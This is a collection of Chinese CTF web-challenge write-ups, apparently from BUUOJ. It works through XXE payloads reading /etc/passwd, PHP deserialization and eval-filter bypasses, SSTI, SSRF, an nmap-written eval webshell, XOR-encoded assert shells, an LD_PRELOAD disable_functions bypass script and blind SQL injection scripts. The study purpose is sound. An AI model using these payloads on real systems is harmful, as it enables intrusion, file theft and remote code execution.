a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里要绕过两个if语句,然后执行cmd中的参数,所以可以利用反斜杠绕过,在正则表达式中三个反斜杠才能匹配到反斜杠,
(1条消息) 【PHP】之4个反斜杠、3个反斜杠的情况_Hertter的博客-CSDN博客
题目里的正则其实有些问题,所以虽然存在了四个反斜杠但是依旧没有过滤掉反斜杠
贴个大佬的文章
从一道CTF的非预期解看PHP反斜杠匹配问题 - 简书 (jianshu.com)
可以先用dir查看目录
ca\t%20/flag来绕过第一个if
用\的原因是因为在linux下行尾输\可以换行并且继续输入命令
这里正则匹配漏了uniq和sort,用这俩也能拿到flag
[网鼎杯 2020 朱雀组]phpweb
先抓包
发现有两个post的参数
然后根据报错的信息
这里用了call_user_func函数,也就是func是函数名,p是参数
用system试时发现被过滤了,发现file_get_contents函数可以用
file_get_contents拿源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
由于这个过滤不存在于test中,所以可以利用反序列化来执行命令
利用find命令来查找文件名中有flag的文件
最后用file_get_contents来查看文件
[NCTF2019]Fake XML cookbook
看到这题目第一眼就感觉是xxe漏洞,正好趁这个机会把xml学一下
从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
NCTF2019]Fake XML cookbook_sgnbi~的博客-CSDN博客
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
基本语法:
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
- 实体引用,如果你把字符 "<" 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误:
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
当使用外部DTD时,通过如下语法引入。
<!DOCTYPE root-element SYSTEM "filename">
外部DTD实例
<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
test.dtd:
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
内部实体示例代码
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
外部实体示例代码
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>
XXE漏洞简介
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
通过各种协议可以实现xxe注入,例如利用file://来访问本地文件系统
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
simplexml_load_string()可以读取XML
简单的payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<xml>
<xxe>&file;</xxe>
</xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
题解:
抓包,能看出是用xml进行传输数据
直接上payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
[BSidesCF 2020]Had a bad day
看这个url,试试伪协议读取
多了个php
所以可以用这个来读源码?category=php://filter/read=convert.base64-encode/resource=index
base64解码后的重点
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
存在flag.php页面,之后就是想办法把他读出来
接下来有一个
php伪协议嵌套的知识点
PHP伪协议可以将某个文件或文件夹包含在php://filter/convert.base64-encode/resource=flag中。比如:php://filter/convert.base64-encode/index/resource=flag
这样就能绕过if的判断,读取flag文件
[ASIS 2019]Unicorn shop
输入id和价格,应该是购买独角兽,而且price只允许输入一位数,前三个买的时候都显示
但是因为price的输入限制,所以我猜这里应该是要想办法购买第四个独角兽
这里要利用Unicode的编码,查找一个大于1337的字符
https://www.compart.com/en/unicode/
比如这个
成功拿到flag
[BJDCTF2020]Cookie is so stable
看一眼hint
flag页面的登录框
这里存在ssti注入
可以试出来是twig模板,根据提示注入点应该在cookie里,抓包
通过修改user内容实现注入
一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
这里是twig1.x版本才有的模板注入,在2.x和3.x版本__self
变量在 SSTI 中早已失去了他的作用,这之后主要通过过滤器来实现攻击https://xz.aliyun.com/t/10056#toc-14
ssti还是不太懂,毕竟我python还是没学会,遇到ssti的题我只能直接找payload,先放在这,等刷完buu第二页题目之后再回头看一遍
[De1CTF 2019]SSRF Me
题目源码
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)
Flask框架,先看路由,geneSign是对传入的param与其他字符串拼接并返回其md5值,De1ta是主要,传入3个参数,以及ip,先判断param是否是gopher或者file开头的参数,不是则过到Task中,并且返回task的Exec()函数结果,另外hint给出提示在flag.txt中有flag
1:/geneSign:获得url中parma参数,通过getSign(action, param)生成摘要
2:/De1ta:获得cookie中的action和sign,waf(param),创建task对象,调用exce()方法,json格式返回
3:/:返回源码
三个函数
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
getSign:返回secert_key + param + action的哈希值
md5:返回content的哈希值
waf:禁止了flie和gopher协议
task类
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
checkSign:检查cookie中的sign
Exec:检查cookie中的action,如果scan在action中,将param的文件内容写入result.txt,如果read在action中,读出result.txt 的内容
hint提示flag在flag.txt 中,想要读到他
首先:action=scan,param=flag.txt ,将flag.txt的内容读到result.txt中
然后:action=read,将result.txt的内容读出
绕过点:sign
checkSign会检查cookie中的sign==getSign(param,action)
两个困难点:secert_key的值未知
思路:先进入/De1ta中的challenge函数,在Exec中的scan部分中将flag.txt的内容存入result.txt,然后从read部分中将其存到result字典中读出,再以json形式返回到客户端,我们就能得到flag。
写入与读出部分
而如果action中既有scan,又有read,那么就会依次执行scan和read
而为了绕过这个验证,就要利用
让param = flag.txtread
因为action为scan
所以得到的md5值为keyflag.txtreadscan
满足action=readscan param=flag.txt时的值
解题
首先进入genesign页面得到md5(keyflag.txtreadscan)的值作为sign
在到de1ta界面抓包get进param=flag.php,在cookie内加入sign和action
[CISCN 2019 初赛]Love Math
源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
或
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
或
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
CISCN 2019 初赛]Love Math - MustaphaMond - 博客园 (cnblogs.com)
CISCN 2019 初赛]Love Math_羽的博客-CSDN博客
CISCN 2019 初赛]Love Math_分享简单的安全技术-CSDN博客
[WUSTCTF2020]朴实无华
level1
intval() 函数用于获取变量的整数值。
测试:
<?php
$a = '2e4';
var_dump($a);
var_dump(intval($a));
$b = $a + 1;
echo $b."\n";
var_dump($b);
var_dump(intval($b));
输出
string(3) "2e4"
int(2)
20001
float(20001)
int(20001)
level2
php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。
所以就变成了找到一个以0e开头的字符串s,并且smd5(s)也是以0e开头的字符串。
0e215962017
level3
**$IFS$9
**替代空格,用其他的查看文件命令代替cat
payload:
?num=1e10&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')//注册了一个名为FLAG的config,这里基本可以确定是flag。
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']//设置黑名单
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//把黑名单内的内容置空
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
ssti注入,先试一个{{7*7}}
接下来就可以考虑在shrine下直接{{config}}
即可查看所有app.config内容,但是这题设了黑名单['config','self']并且过滤了括号,但是python还有一个函数叫做url_for,其作用是url是用于构建指定函数的URL,再配合globals,该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果
current_app意思应该是当前app,那我们就当前app下的config:
于是可以读到flag
{{url_for.__globals__['current_app'].config}}
也可以用
get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
get_flashed_messages.__globals__['current_app'].config
[MRCTF2020]PYWebsite
进去后看源码,有一段js脚本
试了一下这个md5,能解出来但是是付费记录
所以直接看flag.php
“除了购买者和我自己”
那就试试127.0.0.1本地访问
[NPUCTF2020]ReadlezPHP
跳到time.php?source界面看看内容
反序列化构造实现命令执行
eval这里应该是过滤了,可以用assert代替
assert()简介:判断一个表达式是否成立。返回true or false。
当参数为字符串时,会被当作php代码执行。
例如 assert("phpinfo()") <==> <?phpinfo()?>
assert与eval的区别
assert把整个字符串参数当php代码执行,eval把合法的php代码执行。
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
或者?data=O:8:"HelloPhp":2:{s:1:"a";s:16:"eval($_POST[a]);";s:1:"b";s:6:"assert";}然后post:a=phpinfo
搜索flag就能找到
[CISCN2019 华东南赛区]Web11
xff头的ssti注入,我好像之前做过一个差不多的
界面右上角ip可随意改变,因此可以利用readfile函数读flag
[BJDCTF2020]EasySearch
扫目录,发现index.php.swp界面
要让password前六位md5值为6d0bc1
爆破一下
登录后抓包
这里可以看见一个shtml页面
进入后的页面
这里admin的位置是我们的用户名,这里利用了ssl注入
(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)
(SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
模板就类似于
<!--#exec cmd="文件名称"-->
可以先用ls查看目录找到flag文件,再利用cat查看
访问页面找到flag
[BSidesCF 2019]Futurella
f12源码里有flag
好久没做这么简单的了
[网鼎杯 2020 朱雀组]Nmap
常见的nmap命令
nmap linux 命令 在线中文手册 (51yip.com)
选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG
将结果Grep保存。
nmap -F -oG test.txt 192.168.23.1
1
选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。
nmap -F -oA test 192.168.3.2
这里就是要用nmap的 -oN命令写shell
' -oN w4ke.txt '
返回host maybe down之后访问w4ke.txt
所以可以试试写个一句话木马上去
' -oN b.phtml <?php eval($_POST['a']); ?>'
返回了hacker,所以应该是有东西被过滤了
试了一下发现是php被过滤了
可以用其他的进行替代
<?=eval($_POST[a]);?>
利用post传参执行命令
参考链接
网鼎杯 2020 朱雀组]Nmap_浩歌已行的博客-CSDN博客
网鼎杯 2020 朱雀组]Nmap (icode9.com)
[强网杯 2019]高明的黑客
根据题目提示下载压缩包文件,里面存在三千多个php文件
每一个文件里都有shell,我们要找到一个能用的
import requests
import os
import re
url = 'http://22ffcd5e-b2cc-48c3-b7b7-4ba7bcc7d244.node4.buuoj.cn:81/'
path = r'C:\Users\ethe\Desktop\www\src'
ptn_get = re.compile(br"\$_GET\['(\w+)'\]")
ptn_res = re.compile(br'success_hack')
count = 0
for f in list(os.scandir(path)):
print(str(f)[11:-2])
count += 1
with open(f.path, 'rb') as fp:
data = fp.read()
for get in set(ptn_get.findall(data)):
get = get.decode('utf-8')
cmd = 'echo "success_hack";'
r = requests.get(url + f.name, params={get: cmd})
if ptn_res.search(r.content) is not None:
print(f.name, get)
exit()
[NCTF2019]True XML cookbook
题目提示xml,抓包后
猜应该是有xxe注入,直接上payload,发现没读取成功
看一看dologin.php的源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //è´¦å·
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //å¯ç
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
但是从这个源码里也找不到flag
还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:**/etc/hosts 和 /proc/net/arp**
访问proc/net/arp文件查看有无可利用内网主机
尝试访问一下这个ip,报错
之后c段扫描,找到flag
总的来说,主机上面没有flag,需要去看hosts文件看看内网的主机是否有flag
[CISCN2019 华北赛区 Day1 Web2]ikun
这题感觉有点问题
写脚本找lv6
找到后
很明显钱不够
这里可以抓包改折扣,当折扣足够小的时候就出现一个重定向
接下来的步骤感觉就有点问题了,当直接在burp改路径的时候会直接跳过一个cookie的修改变成admin
但是直接在url栏修改会要求用户是admin
这就要求修改jwt的cookie
认识JWT - 废物大师兄 - 博客园 (cnblogs.com)
这里的c-jwt-crack工具不会用,所以就跳过这部分吧
看登录后的源码看见www.zip路径
下载压缩包后发现全为python文件
这里是利用了python反编译
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。
p = pickle.loads(urllib.unquote(become))
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。
(3)pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
检测反序列化方法:
全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。
防御方法
1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法;
2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。
这里采用reduce
当__reduce__被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用,即告诉python如何pickle他们供eval使用的即打开的文件flag.txt其他的参数我们可以不填
百度个脚本
把这个值给become里放包就行
参考链接
Python反序列化漏洞的花式利用 - 先知社区 (aliyun.com)
几天之后的补,jwt那个工具环境弄好了
[MRCTF2020]套娃
才发现这就是寒假那个招新赛的原题
下划线可以用.来绕过,第二个if可以利用%0a换行绕过
要求本地登录
抓包改xff
里面有一段js代码
post一个merak值,得到一段代码
代码审计
要求get进一个值且存在一个文件名为这个值的文件,内容为todat is a happy day
可以用data://text/plain,绕过
也可以用data://text/plain;base64,
然后存在一个file_get_contents读取传入的file
要让这个值经过change函数后为flag.php
传进去,拿flag
[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
有eval函数,要试图命令执行,然后preg_match过滤了字母和数字,这里可以利用异或或者是url编码取反来绕过
取反
成功执行
这里可以看到禁用的函数
或者利用异或
code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
一样可以进入phpinfo页面
查看到禁用的函数后可以尝试利用取反或者异或写入一句话木马
//抄的payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
然后蚁剑链接,要执行读取flag的readflag二进制文件才能得到flag
但是
disable_functions禁用的函数太多导致shell不能执行命令
这里可以用蚁剑的插件
还有一种方法
利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户
我看不懂,但我大受震撼
上传bypass.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库
mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
最终payload
http://68a9a191-87dd-4067-ac30-321118de4427.node4.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
参考链接
bypass_disable_functions | 0xCreed (jxustctf.top)
[BUUOJ记录] [极客大挑战 2019]RCE ME - Ye'sBlog - 博客园 (cnblogs.com)
极客大挑战 2019]RCE ME_末初 · mochu7-CSDN博客
极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)_WHOAMIAnony的博客-CSDN博客_异或绕过
[BSidesCF 2019]Kookie
不知道密码,sql注入也不成功
直接把cookie改成username=cookie就行了,不清楚这题在考啥。。。
[WUSTCTF2020]颜值成绩查询
布尔盲注,过滤了空格
(ascii(substr(database(),{},1))={})".format(i,j)
(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})
(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))={})
(ascii(substr((select(group_concat(value))from(flag))
脚本:
import requests
url = "http://ff19146a-59b8-4bd0-8ded-5bf195180739.node4.buuoj.cn:81/?stunum=0^"
data = ''
k = 0
for i in range(13,50):
k = 0
for j in range(43,127):
gets = "(ascii(substr((select(group_concat(value))from(flag)),{},1))={})".format(i,j)
res = requests.get(url+gets)
if "your score is: 100" in res.text:
data += chr(j)
print(data)
k = 1
break
if(k == 0):
print("err!")
exit()
因为网络问题加了判断,结果就是跑一会就停了,只能一段一段的跑了
一定是buu flag太长了(
算是第一次自己写脚本了
遍历属实跑的太慢了,抽空学一下二分法的写法
flag{d8fd8842-58bd-4a88-bf0c-8e73811797a4}
[GWCTF 2019]枯燥的抽奖
涉及了php的伪随机
如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
查看源码找到check.php
pbEzqyRCJP
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
知道前几位了
